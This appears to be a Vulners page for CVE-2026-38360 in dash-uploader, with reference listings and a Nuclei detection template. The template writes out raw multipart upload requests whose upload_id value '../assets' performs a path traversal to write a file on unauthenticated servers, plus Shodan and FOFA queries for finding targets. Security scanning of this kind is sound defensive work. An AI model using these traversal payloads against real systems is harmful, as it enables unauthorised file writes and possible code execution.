| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| Exploit for CVE-2026-38360 | 7 May 202614:59 | – | githubexploit | |
| Exploit for CVE-2026-38361 | 7 May 202620:32 | – | githubexploit | |
| Exploit for CVE-2026-38360 | 7 May 202620:32 | – | githubexploit | |
| CVE-2026-38360 | 8 May 202600:00 | – | attackerkb | |
| The vulnerabilities of the functions BaseHttpRequestHandler._post() and aseHttpRequestHandler.get_temp_root() in the httprequesthandler.py component, a library for loading dash-uploader files, allow a hacker to execute arbitrary code. | 12 May 202600:00 | – | bdu_fstec | |
| CVE-2026-38360 | 7 May 202619:00 | – | circl | |
| dash-uploader 路径遍历漏洞 | 8 May 202600:00 | – | cnnvd | |
| CVE-2026-38360 | 8 May 202600:00 | – | cve | |
| CVE-2026-38360 | 8 May 202600:00 | – | cvelist | |
| EUVD-2026-28802 | 8 May 202618:31 | – | euvd |
id: CVE-2026-38360
info:
name: dash-uploader 0.1.0 - 0.7.0a2 - Unauthenticated Arbitrary File Write via Path Traversal
author: a1ohadance
severity: critical
description: |
fohrloop dash-uploader v0.1.0 through v0.7.0a2 contains a directory traversal vulnerability caused by improper handling in dash_uploader/httprequesthandler.py components, letting remote attackers execute arbitrary code, exploit requires no special privileges.
impact: |
Remote attackers can execute arbitrary code, potentially leading to full system compromise.
remediation: |
Update to the latest version beyond v0.7.0a2.
reference:
- https://github.com/a1ohadance/CVE-2026-38360
- https://nvd.nist.gov/vuln/detail/CVE-2026-38360
- https://github.com/advisories/GHSA-3rf6-x59v-5jfv
- https://github.com/fohrloop/dash-uploader/issues/153
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-38360
epss-score: 0.05982
epss-percentile: 0.92426
cwe-id: CWE-22
metadata:
verified: true
max-request: 4
vendor: fohrloop
product: dash-uploader
shodan-query: html:"_dash-undo-redo"
fofa-query: body="_dash-undo-redo"
tags: cve,cve2026,dash-uploader,path-traversal,file-write,unauth,python
variables:
marker: "{{rand_base(16)}}"
filename: "nuclei_{{rand_base(8)}}.txt"
boundary: "----nuclei{{rand_base(16)}}"
flow: (http(1) && http(2)) || (http(3) && http(4))
http:
- raw:
- |
POST /API/dash-uploader HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary={{boundary}}
--{{boundary}}
Content-Disposition: form-data; name="flowChunkNumber"
1
--{{boundary}}
Content-Disposition: form-data; name="flowChunkSize"
1048576
--{{boundary}}
Content-Disposition: form-data; name="flowCurrentChunkSize"
16
--{{boundary}}
Content-Disposition: form-data; name="flowTotalSize"
16
--{{boundary}}
Content-Disposition: form-data; name="flowIdentifier"
nuclei-{{rand_base(8)}}
--{{boundary}}
Content-Disposition: form-data; name="flowFilename"
{{filename}}
--{{boundary}}
Content-Disposition: form-data; name="flowRelativePath"
{{filename}}
--{{boundary}}
Content-Disposition: form-data; name="flowTotalChunks"
1
--{{boundary}}
Content-Disposition: form-data; name="upload_id"
../assets
--{{boundary}}
Content-Disposition: form-data; name="file"; filename="{{filename}}"
Content-Type: application/octet-stream
{{marker}}
--{{boundary}}--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, filename)'
internal: true
condition: and
- raw:
- |
GET /assets/{{filename}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, marker)'
condition: and
- raw:
- |
POST /API/resumable HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary={{boundary}}
--{{boundary}}
Content-Disposition: form-data; name="resumableChunkNumber"
1
--{{boundary}}
Content-Disposition: form-data; name="resumableChunkSize"
1048576
--{{boundary}}
Content-Disposition: form-data; name="resumableCurrentChunkSize"
16
--{{boundary}}
Content-Disposition: form-data; name="resumableTotalSize"
16
--{{boundary}}
Content-Disposition: form-data; name="resumableIdentifier"
nuclei-{{rand_base(8)}}
--{{boundary}}
Content-Disposition: form-data; name="resumableFilename"
{{filename}}
--{{boundary}}
Content-Disposition: form-data; name="resumableRelativePath"
{{filename}}
--{{boundary}}
Content-Disposition: form-data; name="resumableTotalChunks"
1
--{{boundary}}
Content-Disposition: form-data; name="upload_id"
../assets
--{{boundary}}
Content-Disposition: form-data; name="file"; filename="{{filename}}"
Content-Type: application/octet-stream
{{marker}}
--{{boundary}}--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, filename)'
internal: true
condition: and
- raw:
- |
GET /assets/{{filename}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, marker)'
condition: and
# digest: 4a0a0047304502203171140920f8a8d84dcd8c11c0e70330030346e065d4007fd59c2bf713593692022100ec5875f484f320bdcdb7e775c92cb4e2b24e7f5b0ce25184f081a36b0ef5b8a1:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation